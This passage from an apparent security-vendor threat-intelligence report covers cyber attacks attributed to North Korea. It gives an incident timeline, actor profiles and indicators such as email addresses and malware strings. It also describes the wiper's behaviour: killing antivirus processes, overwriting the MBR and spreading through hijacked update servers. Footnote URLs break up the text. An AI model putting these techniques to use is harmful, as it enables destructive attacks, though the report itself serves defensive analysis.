http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 + http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage + http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/ + http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/ + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT + http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ + Patterns in the noise: cyber incidents attributed to North Korean actors +It is interesting to note that much of North Korea +s cyber activity follows a distinct pattern. +Analysis of North Korean cyber activity gives insight into these patterns and also helps tie +together North Korea +s strategic, tactical, and operational capabilities. Strategic capabilities refer +to the assets used in support of a long-term, overarching goal. Tactical capabilities refer to the +methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational +capabilities refer to the potential use of these capabilities.305 + In 2004, in response to the annual U.S. + South Korea joint military exercises, North Korea +reportedly gained access to 33 South Korean military wireless communication networks.306 The +next significant cyber attack attributed to North Korea was in June 2006. The U.S. State +Department was attacked by entities in the East Asia-Pacific region. The attacks coincided with +State Department negotiations with North Korea regarding the regime +s nuclear missile tests. 307 +In July 2006, North Korea +s Unit 121 reportedly breached South Korean and U.S. military +entities.308 This attack was concurrent with the regime +s test-fire of at least one long-range +missile and several medium-range missiles.309 +2007 was politically tumultuous for North Korea. Following multi-national talks, the UN +International Atomic Energy Agency (IAEA) ordered the shutdown of the regime +s nuclear facilities +in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb +in October 2007.311 +In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials. The regime indicated +refusal to comply with any UN agreements regarding nuclear weaponry and announced it would +reinstate its nuclear materials production. The next month, North Korea conducted an +underground nuclear test and voiced its confidence that the regime was well on its way to +producing viable nuclear technology. The UN called an emergency meeting condemning the +nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI). North +Korea issued a statement via KCNA calling South Korea +s involvement in PSI an act of war.312 In +June 2009, North Korea stated that it was +fully ready for any form of high-tech war. +313 The +following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South +Korean and U.S. government entities, media outlets, and financial websites. The attacks coincided + http://www.scholastic.com/teachers/article/strategy-and-tactics-military + http://www.dau.mil/pubscats/Pages/preface.aspx + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCMQFjAB&url=http%3A%2F%2Fwww.bbc.com%2Fnews%2Fworld- +asia-pacific- +15278612&ei=fabyU6XQLsLFigLH94GIAw&usg=AFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WA&sig2=l8FMAdbvzFxYeBBOAMWO6Q&bvm=bv.73231344,d +.cGE&cad=rja + http://www.armscontrol.org/factsheets/dprkchron + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.armscontrol.org/factsheets/dprkchron + http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html + with U.S. Independence Day.314 315 Other malware used for Operation Troy was also planted. +Operation Troy would continue for several years, largely undetected.316 +In early 2011, political and military tensions were high. In February, James Clapper, United States +Director of National Intelligence, testified that North Korea likely had undeclared uranium +enrichment facilities as part of its nuclear weapons program.317 In March 2011, South Korean +media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware +attack later known as the +10 Days of Rain +. U.S. and South Korean military entities were also +targeted by DDoS during this attack. The attack used the DarkSeoul malware.318 North Korea also +disrupted South Korean GPS signals. Additionally, North Korean actors reportedly attempted a +DDoS attack against South Korea +s Incheon Airport that same month.319 These incidents coincided +with the annual U.S. + South Korea joint military exercises.320 The following month, North Korean +actors reportedly launched a DDoS attack against South Korea +s Nonghyup bank.321 +In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean +actors. This attack also coincided with the timing of the annual joint U.S. + South Korea military +exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two +nations would collaborate to combat +common enemies + in cyberspace.323 +The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise +near the Korean Peninsula. Like clockwork, attacks attributed to North Korea and now known as +the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju +banks. North Korea also exhibited other hostile activity at that time. North Korea cut +communication with Seoul and announced it had scrapped the 1953 armistice between the two +Koreas. North Korea +s foreign ministry also issued a statement that it perceived this exercise as a +precursor to invasion and that the regime would respond with a +strong military counteraction +the situation escalated.324 That same week, the North Korean military conducted a drone attack +simulation.325 +On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled +Firestorms +Will Rain on the Headquarters of War + that showed a depiction of the White House in crosshairs, +followed by an explosion.326 + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://powerofcommunity.net/poc2009/si.pdf + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.armscontrol.org/factsheets/dprkchron + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 + http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 + http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 + http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- +1226391202749 + http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware + http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/ + http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html + https://www.youtube.com/watch?v=Dyap eCiOl9A + Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments. 327 +In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions; +and in June, DarkSeoul DDoS attacks were launched against the South Korean government +s DNS +server. The latter took place on June 25, the anniversary of the start of the Korean War.328 +As evidenced above, much of North Korea +s cyber activity coincides with the annual U.S. + South +Korea joint military exercises. Attacks not following that pattern were typically in response to +political events impacting the regime or correlated with significant dates, such as the anniversary +of the start of the Korean War. The regime +s strategic assets and tactical capabilities in the cyber +arena seem to have evolved only slightly since 2009. Most of the attacks attributed to North +Korea employ limited tactics, and their operational capability demonstrates an increase in the +frequency and volume of attacks but is otherwise unimpressive to date. +In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military +exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The +regime +s demands may have had other political motivations, as they preceded the July 2014 +meeting between South Korean president Park and Chinese President Xi Jinping. The meeting + https://www.youtube.com/watch?v=DyapeCiOl9A + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills + centered on trade and regional security issues, including the ever-present rhetoric around +denuclearization of North Korea.330 Both leaders were critical of Japan +s recent announcement to +soften sanctions on North Korea.331 As this report headed to press, the annual U.S. + South Korea +joint military exercises were underway.332 +DarkSeoul +The most prominent North Korean threat actor group is the group responsible for the DarkSeoul +malware. According to statements from the South Korean government, North Korea +s Lab 110 +were the actors behind the DarkSeoul malware. South Korean intelligence reports + According to statements +stated that Lab 110, which is affiliated with the regime +s defense ministry, was from the South Korean +ordered by the North Korean regime to destroy South Korean communications government, North +networks.333 Although the March 20 attacks used DarkSeoul malware, it is interesting Korea +s Lab 110 were the +to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed actors behind the + DarkSeoul malware +responsibility for the +March 20 + 2013 attacks on South Korean media and financial + attacks. +institutions.334 +Some of the DarkSeoul attacks corresponded with significant dates, such as U.S. Independence +Day or the anniversary of the start of the Korean War. DarkSeoul attacks go beyond denial of +service and sabotage. As early as 2009, the group responsible for the Dark Seoul attacks +launched +Operation Troy +, an espionage campaign targeting the South Korean military. The +operation was codenamed +Troy + due to the frequent use of the word +Troy + in the malware +compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based +on keyword searches. While the malware was clearly intended to search for and exfiltrate certain +types of data, its true impact on the targets was never revealed. 336 The March 2011 +10 Days of +Rain + DDoS attacks on U.S. and South Korean sites have also been attributed to the actors +associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have +required a level of intelligence, coordination, monetary support, and technical sophistication that +suggests state sponsorship.338 This designation means the group can be considered an advanced +persistent threat (APT). +A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media +outlets and Shinhan, Nonghyup, and Jeju banks. The impact of the March 20 attacks included +disruption of service at financial institutions and data deletion. However, the targeted entities +resumed normal operations shortly thereafter.339 According to South Korean reports, the media +outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing +press that manipulated South Korea +s public opinion. In April 2012, the regime reportedly listed + http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpt=hp_bn7 + http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smid=tw-share + http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill + http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 + http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? + http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets + http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& + those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper +malware. The malware attempted to disable AhnLab and Hauri AV antivirus products then +proceeded to overwrite the master boot record (MBR). The attack was capable of wiping both +Linux and Windows machines.341 McAfee found that these attacks were the culmination of the +malware campaign they dubbed +Operation Troy +.342 +A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber +attack activity occurring as early as 2007. IssueMakersLab found that these actors consistently +used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same +collection keywords and encryption keys, and the same development path.343 According to South +Korea +s Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was +found scanning South Korean routes the month before the attacks,344 and the same IP was +reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also +suggested possible ties to China. AlienVault suspected the Chinese exploit kit GonDad was used to +spread the malware, and the Korean domains serving the malware were registered using a +Chinese email address. Additionally, researchers at AhnLab in South Korea noted a Chinese IP +address linked to the attacks.346 +While no concrete evidence has been released that indicates Lab 110 was responsible for the +DarkSeoul attacks, the responsible group +s targets, TTP, and attack timing demonstrate a strong +pro-North Korean sentiment. +Known tactics, techniques and procedures + Customized wiper malware347 + DDoS + Multi-staged, coordinated attacks348 + Destructive payloads with politically significant trigger dates + Use of politically themed strings when overwriting disk sectors + Utilizing legitimate patching mechanisms to spread malware across corporate networks + Encryption and obfuscation methods that have become their signature + Repeated use of a specific webmail server + Consistent C2 structures + Antivirus disablement and evasion349 + Watering hole attacks + Zero-days + Spearphishing350 + http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML + http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ + http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? + https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 + http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML + http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491? + http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ + http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ + http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245 + Targets + + South Korean military + + U.S. sites + + Shinhan Bank + + Nonghyup Bank351 + + Jeju Bank352 + + Munhwa Broadcasting Corp. + + YTN + + Korea Broadcasting System353 + + South Korean government DNS server + + South Korea financial institutions +WhoIs Team +WhoIs Team is one of two groups that claimed responsibility for the +March 20 + attacks targeting +South Korea. A defacement on the LG +U webpage stated that it was +Hacked by WhoIs Team +and that the attackers would return. The page featured three skulls.354 However, no other attacks +by WhoIs Team have been observed. + http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 + http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& + http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters + http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ + Figure 26 A defacement by +WhoIs Team + 355 +Known tactics, techniques, and procedures + Wiper malware356 + Defacements +Targets + + Took credit for an attack on the LG +U website. + http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/ + http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf + Associated actors + dbM4st3r + d3sign3r + APTM4st3r + s3ll3r + vacc1nm45t3r + r3cycl3r +Based on North Korea +s affinity for disinformation and counterintelligence, we must note the +distinct possibility that operatives claiming to be WhoIs Team are part of another group and that +the defacement was a false flag operation meant to pin blame on RAON_ASRT. RAON_ASRT is a +South Korean white hat capture the flag (CTF) team, whose members also operate under the +name +WhoIs +.357 +Figure 27 A screenshot showing that South Korea +s RAON_ASRT white hat CTF team also uses the +moniker WhoIs.358 +RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team +and Cpark Team359 have participated in and performed well in CTF contests such as the one +hosted by DefCon. 360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence +of the South Korean president, to meet with president Park and discuss the security industry.361 +RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization RaonSecure +operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which +is hosted by South Korea +s Ministry of National Defense and National Intelligence Service and + https://ctftime.org/team/3206 + https://ctftime.org/team/3206 + http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/ + http://blog.raonsecure.com/62 + http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/ + http://ls-al.org/asrt-runs-secuinside-ctf/ + http://www.whitehat.co.kr/ + supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the +RAON_ASRT WhoIs Team would maliciously target South Korean entities. +IsOne +IsOne is the group that claimed responsibility for the June 2012 attack on the website of South +Korean newspaper JoongAng Ilbo. The attack included an attempt to wipe JoongAng Ilbo +s servers +as well as a defacement depicting a laughing cat. Despite efforts to wipe the target +s servers, the +target only suffered defacement and temporary downtime.365 +Figure 28 Defacement by +IsOne +. 366 +Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF +team known as +The Cat is Number 1 + and IsOne are the same actors. +The Cat is Number 1 +members claim to hail from North Korea, but there is no hard evidence linking team members to + http://ls-al.org/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD-%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87- +%EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8korea-whitehat-contest-%EA%B0%9C%EC%B5%9C/ + http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 + http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html + the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of +another group. +Figure 29 A screenshot of +The Cat is Number One + profile on CTF Time 368 +According to South Korea +s National Police Agency, the attack on JoongAng Ilbo shares +characteristics with previous attacks attributed to North Korean actors. An investigation +conducted by the agency +s Cyber Terror Response Center found that the actors targeting +JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries. One server +maintained a constant connection to an IP address belonging to Joson Telecommunication +Company, which is affiliated with North Korea +s Ministry of Posts and Telecommunications. +Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in +the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011 +attack on Nyongyup Bank.369 +Known tactics, techniques and procedures + Wiper malware + Defacements +Targets + + Took credit for defacing JoongAng Ilbo. + https://ctftime.org/team/2538 + https://ctftime.org/team/2538 + http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 + Kimsukyang +The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor +referred to as Kimsukyang. Little is known about the actor or group responsible for the malware. +However, the following email addresses are associated with the Kimsuky operation:370 + + beautifl@mail.bg + + ennemyman@mail.bg + + fasionman@mail.bg + + happylove@mail.bg + + lovest000@mail.bg + + monneyman@mail.bg + + sportsman@mail.bg + + veryhappy@mail.bg + + iop110112@hotmail.com + + rsh1213@hotmail.com +The email address iop110112@hotmail.com was registered using the alias +kimsukyang +, and +rsh1213@hotmail.com was registered using the alias +Kim asdfa +Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that +border North Korea: Jilin and Liaoning.371 +Known tactics, techniques and procedures + Malware with keylogger and data exfiltration capabilities + Malware disables AhnLab security software372 +Targets + + Sejong Institute + + Korea Institute for Defense Analyses (KIDA) + + Ministry of Unification + + Hyundai Merchant Marine + + The Supporters of Korean Unification373 +New Romantic Cyber Army Team / Hastati +The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks. McAfee +suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting +March 20, 2013 attacks due to the group +frequent use of Roman and classical terms in their + http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 + http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT + http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT + code. +374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is +an individual actor within the group. +It is interesting to note that the malware associated with these actors uses the strings +HASTATI +and +PRINCIPES + to overwrite the MBR. The name Hastati likely refers to a class of infantrymen of +the early Roman Republic. The Hastati were less experienced soldiers who fought on the +frontlines with spears and swords. Principes likely refers to more experienced Roman soldiers +who fought on the second line of battle. 375 +Figure 30 Defacement by Hastati.376 +Known tactics, techniques and procedures + Wiper malware +Targets + + KBS TV377 + + Entities targeted in Operation Troy378 +Malware summary +HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were +published in our annual HP Cyber Risk Report 2013. Analysis of this malware is included in +Appendix C. Analysis of additional malware used in these campaigns produced no new findings +and only corroborated what was found by external security researchers. These publicly available +analyses have been cited throughout the report. Some of the malware samples were no longer +publicly available. However, CrowdStrike obtained these missing samples before they +disappeared from the wild and conducted thorough analysis, which was released in their +subscription-only reports. While we cannot divulge detailed information from those reports, an +overview of the findings is provided below. + http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? + http://www.roman-empire.net/army/army.html#earlylegion + http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ + http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ + http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf + The majority of the malware used in cyber incidents attributed to North Korea were variations of +three types of malware: dropper, wiper, and IRC remote access trojan (RAT). CrowdStrike +attribution of this malware to North Korean actors stemmed from two primary factors: Korean +language characters found in the binaries and the propensity to specifically target South Korean +entities.379 +Dropper samples consistently targeted AhnLab Policy Center as a propagation method. This +information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle +Yang.380 CrowdStrike +s report also briefly noted the use of an update server vector.381 Yang +analyzed the malware's update config metadata and matched its format to the AhnLab Policy +Center. To test its payload, Yang set up a server/client and executed the update through the +server. As Yang had predicted, it wiped the client.382 While the method for initial compromise of +the update server is not noted in detail, CrowdStrike +s report cites +collateral information + that +suggests targeted email attacks were used to gain initial entry, and policy servers were then +compromised. The upload server vector included a time-based logic bomb that allowed the wiper +to target a large number of systems, on a set time and date, with full permissions on all of the +targeted systems.383 +According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe. The +wiper used the Windows utility 'taskkill' to kill the processes pasvc.exe and clisvc.exe, which are +the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then +performed system reconnaissance, gathering drive information and operating system version. +Depending on the OS used, the wiper recursively deleted files on the file system, deleting the +Windows folder last. It then overwrote the MBR with the strings "HASTATI", "PRINCPES", +"PRINCIPES", or "PR!NCPES +.386 +While there are several variants of the wiper, all seem to have been used on the same date. It is +unclear why multiple wiper variants with slightly differing behavior were used for the same +campaign. One possible explanation is that multiple variants were used to minimize the +operational damage to the mission in the case of an early detection of one of the variants. For +example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the +other variants may have differed enough to remain undetected, still resulting in mission success. +According to CrowdStrike, a third malware component downloaded an IRC RAT from various +compromised websites. This RAT is detected by Symantec as Backdoor.Prioxer. Prioxer has been +linked to other 2011 attacks on South Korea. It is unclear whether these downloaders were + CrowdStrike Intelligence Report CSIR-13013 + Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. + CrowdStrike Intelligence Report CSIR-13013 + Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. + CrowdStrike Intelligence Report CSIR-13013 + CrowdStrike Intelligence Report CSIR-13030 + Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. + CrowdStrike Intelligence Report CSIR-13030 + pushed out in the same update server vector as the wipers. However, the two malware types both +use the same packer 'Jokra' and both contain the strings +HASTATI" and "PRINCPES +.387 +Analysis +Based on the information above, we have identified strategic challenges that impact the +development of North Korea +s cyber warfare capabilities. We have also noted relevant +implications: + + The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber + activity by dissidents or autonomous hacker groups are very unlikely. In other words, any + cyber attacks originating in North Korea can be assumed to be state sponsored. For this + reason, according to defectors, the regime +s cyber operators do not typically launch + attacks directly from within North Korea. Instead, many regime-sponsored attacks are + launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389 + + North Korea has a limited number of outgoing connections.390 For this reason, there is a + low probability of DDoS originating from within. However, this does not preclude the use + of botnets with a local C2 server or the use of networks in third-party nations to launch + attacks. As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea + has leveraged networks in countries such as Austria, Georgia, Germany, and even South + Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to + rely on third parties for quite some time, due to its lack of sufficient infrastructure for + launching large-scale CNO. + + Several outward facing websites are hosted in China and other countries. This implies two + possibilities: that North Korea +s infrastructure cannot handle a heavy incoming traffic load + 392 + or that the regime wants to separate the propaganda crafted for an outside target + audience from internally-focused propaganda. This arrangement seems unlikely to + change in the foreseeable future. + + North Korea is known to have unstable power supplies393, which limits scalability of the + regime +s current CNO capabilities. This is another reason why expansion of CNO + capabilities using the nation +s own infrastructure seems unlikely in the foreseeable future. + + North Korea is known to have monetary deficiencies,394 which further limit expansion of + infrastructure and CNO capabilities, at least without third-party aid. North Korea continues + to rely heavily on China for sustainment.395 + + Although we see few instances of overt cyber operations, that North Korea reportedly + spends so much of its limited resources on training and equipping cyber operators speaks + volumes. The human element of the regime +s cyber war program, at least, has potential. + CrowdStrike Intelligence Report CSIR-13013 + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks + http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ + http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + + Sanctions against North Korea and export laws prohibit the sale of certain technologies to + the regime.396 In other words, in order to obtain the technology needed for a cyber + warfare program, the regime must improvise. North Korea must develop its own + technology, manufacture technology using plans obtained via industrial espionage, or rely + on third parties to procure it for them. However, the regime has historically failed in its + attempts of large-scale production of electronic components. At present, North Korea + relies on China to provide much of its network hardware, including servers and routers.397 + It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions + will likely be longstanding, and the regime will have to continue to rely on third parties to + procure technology. +Cyber incidents attributed to North Korean actors seem to follow distinct patterns: + + According to reports by other researchers, the conventions and C2 structure used by + North Korean cyber actors show continuity and consistency over time. + + The majority of the incidents attributed to North Korean actors consistently used wiper + malware. + + Several of the incidents included defacements, with a different group taking credit each + time. Additionally, little information or attack history was found about any of the groups, + aside from information acknowledged in this report. These factors seem to indicate that a + single group may have been responsible for several attacks over time, using different + group names as a false flag. + + On more than one occasion, the malware included provisions to disable security software + made by South Korean security company AhnLab. This detail strengthens the case that + the malware was written or modified to specifically target South Korean machines. + + The attacks followed an explicit pattern: most were around the time of U.S. + South + Korean joint military exercises, while the others fell on a significant date or were in + response to political events. + + The primary targets were South Korean and U.S. entities. While these nations are + traditionally targeted by the regime, it is also possible that South Korean entities are quick + to attribute any attack on their infrastructure to North Korean actors. In fact, in some + cases, South Korean reports were the only source of attribution. +Summary +Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the +U.S. and its allies? While North Korea +s cyber warfare capabilities pale in comparison to those of +wealthier nations, the regime has made significant progress in developing its infrastructure and in +establishing cyber operations. The rate of this progress warrants a closer look at North Korea +motivations, TTPs, and capabilities. As noted above, North Korea views the U.S. and South Korea +as its primary adversaries. The U.S. and South Korea are high-tech nations with economies that + http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/ + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + depend heavily on technology.398 In contrast, North Korea does not have a high tech culture. For +these reasons, we should not overestimate the regime +s advanced cyber capability, yet we should +never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty +tactics like DDoS to cripple their high-tech targets. Both government and corporate entities are +susceptible to being targeted by North Korean cyber attacks. North Korean juche ideology places +the survival of the regime as its primary goal, and any perceived threat to the regime may be +targeted. Several attacks on U.S. and South Korean government, financial, and critical +infrastructure entities have been attributed to North Korean origins.. These attacks were often +preceded by or occurred in conjunction with North Korea voicing negative sentiments about the +targeted entities. As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399 +state sponsored cyber actors often launch an attack in response to a political trigger. The same +pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide +with U.S. Independence Day and the anniversary of the start of the Korean War, as well as +propaganda and cyber attacks in response to joint military exercises between the U.S. and South +Korea.400 401 +As shown by North Korea's past behavior (which is consistent with their doctrine), they are easily +"pushed into a corner". At the slightest perceived threat, the regime responds with saber-rattling +and peacocking. The regime is extremely defensive and will, in turn, flex its muscles to show the +world how capable it is, even if this is an inaccurate display of their overall capabilities. +The regime fears losing its control and the nation +s culture to the ever-growing threat of outside +influence, as is evidenced in the regime +s reaction to the comedy film +The Interview +. The regime +has represented itself to its citizens as a powerful and capable entity and has used this status to +control the populace. For this reason, the regime +s leaders are forced to continually demonstrate +this strength and power, or an illusion thereof, both domestically and globally, in order to +maintain the status needed to ensure continued suppression of the population. This show of +power may require that the regime takes chances and stretches beyond its abilities at times, but +in the spirit of juche and songun, the regime will continue this fa +ade, fearful of losing the image +its leaders have worked so hard to maintain. +HP Security Research recommendations +North Korean cyber operations are not generally observed originating from home field IP address +space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective. + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf + http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U5HkbpRdV90 + http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/ + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + Given that North Korea has capable and technically trained forces and will demonstrate their +power when they feel provoked, western entities should consciously avoid promoting ideas or +doctrine that is blatantly slanderous to the 